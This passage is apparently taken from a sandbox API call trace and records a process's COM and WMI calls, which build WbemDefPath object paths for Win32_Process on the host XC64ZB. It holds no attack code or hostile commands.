returned 0x0 [0125.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x655af0) returned 0x0 [0125.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0125.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0125.270] WbemDefPath:IUnknown:AddRef (This=0x655af0) returned 0x3 [0125.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0125.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0125.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b48ab10) returned 0x0 [0125.271] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ab10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.271] WbemDefPath:IUnknown:Release (This=0x1b48ab10) returned 0x3 [0125.271] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0125.271] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0125.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0125.271] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x2 [0125.271] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x1 [0125.271] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0125.271] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0125.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x655af0) returned 0x0 [0125.271] WbemDefPath:IUnknown:AddRef (This=0x655af0) returned 0x3 [0125.271] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x2 [0125.271] WbemDefPath:IWbemPath:SetText (This=0x655af0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0125.271] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0125.271] SysStringByteLen (bstr="XC64ZB") returned 0xc [0125.271] SysStringByteLen (bstr="XC64ZB") returned 0xc [0125.272] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0125.272] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0125.272] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0125.272] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0125.272] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0125.272] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0125.272] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0125.272] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0125.272] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0125.272] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.273] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48abd0) returned 0x0 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0125.273] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48abd0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655d30) returned 0x0 [0125.273] WbemDefPath:IUnknown:Release (This=0x1b48abd0) returned 0x0 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655d30) returned 0x0 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0125.273] WbemDefPath:IUnknown:AddRef (This=0x655d30) returned 0x3 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0125.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48ac10) returned 0x0 [0125.273] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ac10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.273] WbemDefPath:IUnknown:Release (This=0x1b48ac10) returned 0x3 [0125.273] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0125.274] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0125.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0125.274] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x2 [0125.274] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x1 [0125.274] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0125.274] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0125.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655d30) returned 0x0 [0125.274] WbemDefPath:IUnknown:AddRef (This=0x655d30) returned 0x3 [0125.274] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x2 [0125.274] WbemDefPath:IWbemPath:SetText (This=0x655d30, uMode=0x4, pszPath="") returned 0x0 [0125.274] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0125.274] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0125.274] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0125.274] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.275] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48abd0) returned 0x0 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0125.275] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48abd0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656570) returned 0x0 [0125.275] WbemDefPath:IUnknown:Release (This=0x1b48abd0) returned 0x0 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656570) returned 0x0 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0125.275] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0125.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b4d0) returned 0x0 [0125.275] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b4d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.275] WbemDefPath:IUnknown:Release (This=0x1b48b4d0) returned 0x3 [0125.275] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0125.276] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0125.276] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0125.276] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0125.276] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0125.276] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0125.276] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0125.276] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656570) returned 0x0 [0125.276] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0125.276] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0125.276] WbemDefPath:IWbemPath:SetText (This=0x656570, uMode=0x4, pszPath="") returned 0x0 [0125.276] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0125.276] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655d30, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0125.276] WbemDefPath:IWbemPath:GetClassName (in: This=0x656570, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0125.276] WbemDefPath:IWbemPath:GetServer (in: This=0x656570, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0125.276] WbemDefPath:IWbemPath:SetServer (This=0x656570, Name="XC64ZB") returned 0x0 [0125.276] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0125.276] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0125.276] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0125.276] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.277] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b090) returned 0x0 [0125.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b090, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0125.277] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b090, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656630) returned 0x0 [0125.277] WbemDefPath:IUnknown:Release (This=0x1b48b090) returned 0x0 [0125.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656630) returned 0x0 [0125.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0125.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0125.277] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0125.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0125.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0125.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b110) returned 0x0 [0125.278] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b110, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.278] WbemDefPath:IUnknown:Release (This=0x1b48b110) returned 0x3 [0125.278] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0125.278] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0125.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0125.279] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0125.279] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0125.281] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0125.281] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0125.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656630) returned 0x0 [0125.281] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0125.281] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0125.281] WbemDefPath:IWbemPath:SetText (This=0x656630, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceCount (in: 